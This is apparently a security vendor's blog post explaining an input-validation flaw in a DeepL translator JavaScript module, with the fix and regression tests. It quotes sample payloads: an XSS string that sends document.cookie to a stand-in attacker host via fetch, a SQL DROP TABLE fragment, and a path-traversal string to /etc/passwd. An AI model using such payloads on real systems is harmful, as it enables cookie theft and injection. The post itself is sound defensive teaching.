Back to Blog
critical SEVERITY8 min read

How Unsanitized Language Parameters Happen in JavaScript and How to Fix Them

A missing input validation step in `src/module/translator/deepl.js` allowed raw, user-controlled language codes to flow directly into DeepL API requests without any sanitization. This created an exploit primitive where malicious language strings—containing XSS payloads or SQL fragments—could be forwarded to an external translation service. The fix introduces a strict ISO 639-1/BCP 47 regex guard that rejects any non-conforming input before it reaches the API call.

O
By Orbis AppSec
Published September 2, 2026Reviewed September 2, 2026

Answer Summary

This is an input validation vulnerability (CWE-20) in `src/module/translator/deepl.js`, a JavaScript module that wraps the DeepL translation API. The `option.from` and `option.to` language parameters were passed directly into API request objects without checking format or content, meaning a crafted language string like `en'; DROP TABLE users;--` could be forwarded to an external service. The fix adds a `sanitizeLangCode()` function that validates every language code against a strict ISO 639-1/BCP 47 regular expression (`/^[A-Za-z]{2,3}(-[A-Za-z]{2,4})?$/`) and throws on any non-conforming input. All three call sites in `splitText()` and `translate()` were updated to pass through this guard before the value reaches the network layer.

Vulnerability at a Glance

cweCWE-20
fixAdded `sanitizeLangCode()` with ISO 639-1 regex validation at all three assignment sites
riskInjection payloads forwarded to external translation API; potential for chained XSS or downstream injection
languageJavaScript
root cause`option.from` and `option.to` assigned directly to API request objects with no format check
vulnerabilityImproper Input Validation — unsanitized language code parameter

How Unsanitized Language Parameters Happen in JavaScript and How to Fix Them

The File That Bridges User Input and an External API

The src/module/translator/deepl.js module does one job: take text and language preferences from the user, package them into DeepL API requests, and return translated output. It sits at an interesting security boundary—one side faces user-controlled data, the other side faces an external network service. A flaw in how language codes were handled inside splitText() and translate() meant that boundary was not being enforced, and raw, unvalidated strings were flowing straight through to the API payload.

This post walks through exactly what went wrong, why it matters even in a desktop application context, and what the fix looks like in concrete code.


The Vulnerability Explained

What the Code Was Doing

Before the fix, two functions in deepl.js accepted a user-supplied option object and copied its from and to properties directly into the outgoing API request body:

// splitText() — line 85 (before fix)
postData.params.lang.lang_user_selected = option.from;

// translate() — lines 124-125 (before fix)
postData.params.lang.source_lang_computed = option.from;
postData.params.lang.target_lang = option.to;

There is no typeof check, no length limit, no character allowlist, and no format validation. Whatever string arrives in option.from or option.to is placed verbatim into the JSON body that gets sent to DeepL's endpoint.

Why That's a Problem

Language codes are supposed to be short, alphabetic identifiers like en, de, or zh-Hans. The DeepL API expects values conforming to ISO 639-1 (two-letter codes) or BCP 47 subtags. Nothing in the original code enforced that contract.

An attacker who can control the option object—for example, by crafting a file that the desktop application opens, or by injecting content into a document being translated—could supply values like:

Payload Class
en<script>alert(1)</script> Reflected XSS if the value surfaces in a web view
en'; DROP TABLE users;-- SQL injection fragment forwarded to any logging layer
../../../../etc/passwd Path traversal if the value is ever used in a file operation
An extremely long string Potential buffer pressure or log pollution

Even if DeepL itself rejects these values at its own API layer, the application has already forwarded attacker-controlled data across a network boundary. Any intermediate processing—logging, caching, error serialization—could be affected. More importantly, this is an exploit primitive: a code pattern that, while not independently exploitable in isolation, can be chained with other weaknesses by automated attack tooling.

Attack Scenario

Consider a desktop translation application that opens .docx files. A malicious document embeds a custom language tag in its metadata. When the application reads that tag and passes it as option.from to translate(), the raw string—say, en<img src=x onerror=fetch('https://attacker.example/'+document.cookie)>—is placed inside the API request. If the application surfaces the API error response in a web view component without further escaping, the payload executes. The chain is: crafted file → option.frompostData.params.lang.source_lang_computed → API error → web view render → XSS.


The Fix

A Single Validation Function at the Gate

The patch introduces sanitizeLangCode(), a small but precise guard function added near the top of the file:

const regLangCode = /^[A-Za-z]{2,3}(-[A-Za-z]{2,4})?$/;

function sanitizeLangCode(code) {
  if (typeof code !== 'string' || !regLangCode.test(code)) {
    throw new Error(`Invalid language code: ${code}`);
  }
  return code.toUpperCase();
}

Let's unpack what each part does:

  • /^[A-Za-z]{2,3}(-[A-Za-z]{2,4})?$/ — anchors the match to the full string (^ and $), allows only ASCII letters, enforces a 2–3 character primary subtag (covering ISO 639-1 and ISO 639-2), and optionally allows a 2–4 character region subtag after a hyphen. This covers en, zh, pt-BR, zh-Hans, and similar valid codes while rejecting everything else.
  • typeof code !== 'string' — guards against null, undefined, or non-string types being passed in.
  • throw new Error(...) — fails fast and loudly. The error message includes the offending value so developers can diagnose misconfigured callers quickly.
  • code.toUpperCase() — normalizes the output to uppercase, which is the convention used by the DeepL API (e.g., EN, DE, ZH-HANS).

Before and After

Before — in splitText():

postData.params.lang.lang_user_selected = option.from;

After — in splitText():

postData.params.lang.lang_user_selected = sanitizeLangCode(option.from);

Before — in translate():

postData.params.lang.source_lang_computed = option.from;
postData.params.lang.target_lang = option.to;

After — in translate():

postData.params.lang.source_lang_computed = sanitizeLangCode(option.from);
postData.params.lang.target_lang = sanitizeLangCode(option.to);

All three assignment sites are now gated. No language code string reaches the API payload without passing through the regex check first.

Why All Three Sites Matter

It might be tempting to validate only in translate() and trust that splitText() is called internally. But defense-in-depth means validating at every boundary crossing, not just the outermost one. If splitText() is ever called directly—in a test, a future refactor, or an integration—the guard is already in place.


Prevention & Best Practices

1. Validate at the Point of Entry, Not the Point of Use

The most reliable place to validate option.from is the moment it enters the module, before any function touches it. Consider adding a top-level validation step in the exported function that external callers use.

2. Use Allowlists, Not Blocklists

The regex in this fix is an allowlist: it defines exactly what is permitted and rejects everything else. Blocklist approaches (e.g., stripping <script> tags) are fragile and routinely bypassed. For well-defined domains like language codes, an allowlist is always the right choice.

3. Fail Fast with Descriptive Errors

The throw new Error(Invalid language code: ${code}) pattern is intentional. Silent failures—returning null, substituting a default, or swallowing the error—hide bugs and make security issues harder to detect. Loud failures surface problems during development and testing.

4. Write Regression Tests for Injection Payloads

The PR includes a regression test suite that explicitly tests XSS and SQL injection strings as language code inputs:

const payloads = [
  { value: "en<script>alert(1)</script>", desc: "XSS injection in language" },
  { value: "en'; DROP TABLE users;--", desc: "SQL injection in language" },
  { value: "en", desc: "valid ISO 639-1 code" },
];

Tests like these are cheap to write and invaluable for preventing regressions when the validation logic is later refactored.

5. Apply the Same Pattern to option.to Everywhere

The fix correctly validates both option.from and option.to. Any time you have a parameter that flows into an external API, apply the same rigor to every field—not just the one that was flagged.

Relevant Standards

  • OWASP Input Validation Cheat Sheet — comprehensive guidance on allowlist validation strategies
  • CWE-20: Improper Input Validation — the root cause classification for this vulnerability
  • ISO 639-1 / BCP 47 — the standards that define valid language code formats

Key Takeaways

  • option.from and option.to in deepl.js were direct injection vectors: any string, including XSS and SQL payloads, could be forwarded to the DeepL API without modification.
  • The sanitizeLangCode() function is the right abstraction: centralizing validation in one function means all three call sites benefit from a single fix, and future call sites will naturally use the same guard.
  • ISO 639-1 codes are a closed, well-defined set: they are an ideal candidate for allowlist regex validation rather than ad-hoc sanitization.
  • Desktop applications are not immune to injection: the threat model here requires a crafted file or malicious content interaction, but that is a realistic attack vector for translation tools that process untrusted documents.
  • Exploit primitives matter: even if this specific pattern isn't independently exploitable today, removing it raises the bar against automated exploit-chaining tools that combine multiple weak points.

How Orbis AppSec Detected This

  • Source: The option.from and option.to fields of the user-supplied option object passed into translate() and splitText() in src/module/translator/deepl.js.
  • Sink: Direct assignment to postData.params.lang.source_lang_computed, postData.params.lang.target_lang, and postData.params.lang.lang_user_selected at lines 85, 124, and 125—values that are serialized into the body of an outgoing HTTP request to an external API.
  • Missing control: No type check, format validation, or allowlist comparison was applied to either language code parameter before assignment.
  • CWE: CWE-20 — Improper Input Validation.
  • Fix: A sanitizeLangCode() function was introduced that validates input against /^[A-Za-z]{2,3}(-[A-Za-z]{2,4})?$/ and throws on non-conforming values; all three assignment sites were updated to call this function.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The vulnerability in deepl.js is a textbook example of how a small omission—not validating a string before forwarding it to an external service—creates a meaningful security gap. Language codes are a constrained, well-understood domain: two or three letters, an optional region subtag, nothing else. Enforcing that constraint with a six-line function eliminates an entire class of injection risk at this boundary.

The broader lesson is that every value crossing a trust boundary deserves explicit validation, even when the downstream service might reject bad input on its own. Your application should never rely on a third-party API to be its first line of defense.


References

Frequently Asked Questions

What is an improper input validation vulnerability?

It occurs when user-controlled data is used in a sensitive operation—such as an external API call—without first verifying that it matches an expected format or character set, allowing attackers to inject unexpected content.

How do you prevent language code injection in JavaScript?

Validate every language parameter against a strict allowlist regex (e.g., `/^[A-Za-z]{2,3}(-[A-Za-z]{2,4})?$/`) before assigning it to any API request object, and throw a descriptive error for non-conforming values.

What CWE is improper input validation?

CWE-20 — Improper Input Validation. It is one of the most common root causes of injection-family vulnerabilities.

Is escaping output enough to prevent this type of injection?

No. Output escaping addresses how data is rendered, not whether malicious content enters the processing pipeline. Validating input at the point of ingestion—before it reaches any API or data store—is the correct primary control.

Can static analysis detect this type of vulnerability?

Yes. Tools like Semgrep can trace tainted user-controlled values to external API call sinks and flag the absence of a validation step, which is exactly how Orbis AppSec's multi-agent scanner identified this issue.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #31

Related Articles

high

How Denial-of-Service via Unbounded Brace Expansion Happens in Node.js and How to Fix It

A critical denial-of-service vulnerability in the `brace-expansion` package allowed attackers to exhaust process memory through unbounded intermediate array expansion. The fix upgrades the package to patched versions (1.1.18, 2.1.4, 3.0.6, 5.0.9) that implement proper expansion length limits, preventing out-of-memory crashes in production applications.

critical

How Server-Side Template Injection Happens in EJS and How to Fix It

CVE-2022-29078 is a critical server-side template injection vulnerability in EJS versions prior to 3.1.7 that allows attackers to execute arbitrary code through the `outputFunctionName` parameter. The fix involves upgrading EJS from 2.6.1 to 3.1.7, which implements proper input validation for template rendering options. This vulnerability could allow remote code execution if user-controlled data reaches the template engine without sanitization.

high

How Infinite Loop DoS happens in Node.js ID generation and how to fix it

A critical vulnerability in nanoid versions 3.3.16 and below allowed attackers to trigger infinite loops during random ID generation, causing complete CPU exhaustion and denial of service. The fix upgrades to nanoid 3.3.18, which patches the underlying random number generation flaw that could freeze Node.js applications processing untrusted input.

high

How Denial of Service via Invalid UTF-8 Input Happens in Go and How to Fix It

A high-severity Denial of Service vulnerability in golang.org/x/text (CVE-2026-56852) allowed attackers to crash applications by sending malformed UTF-8 input. The fix involved upgrading the dependency from v0.33.0 to v0.39.0, which tightens UTF-8 validation logic and prevents untrusted input from triggering resource exhaustion. This vulnerability demonstrates why timely dependency updates are critical for maintaining application stability and security.

critical

How Prototype Pollution happens in Node.js package managers and how to fix it

A critical prototype pollution vulnerability in loader-utils versions 1.4.0 and 2.0.2 allowed attackers to corrupt JavaScript object prototypes through specially crafted query parameters. The fix upgrades loader-utils to patched versions 1.4.1 and 2.0.4, which sanitize the parseQuery() function's handling of untrusted input and apply stricter dependency constraints.

critical

How Supply Chain Attacks Happen via pnpm Workspace Configuration and How to Fix Them

A pnpm workspace configuration was missing the `minimumReleaseAge` setting, leaving the project vulnerable to supply chain attacks from newly published malicious or compromised npm packages. By adding `minimumReleaseAge: 10080` (seven days in minutes), the fix ensures that only packages that have survived community scrutiny for at least a week are resolved during installation. This defensive hardening is especially critical for web applications where a compromised dependency could introduce XSS,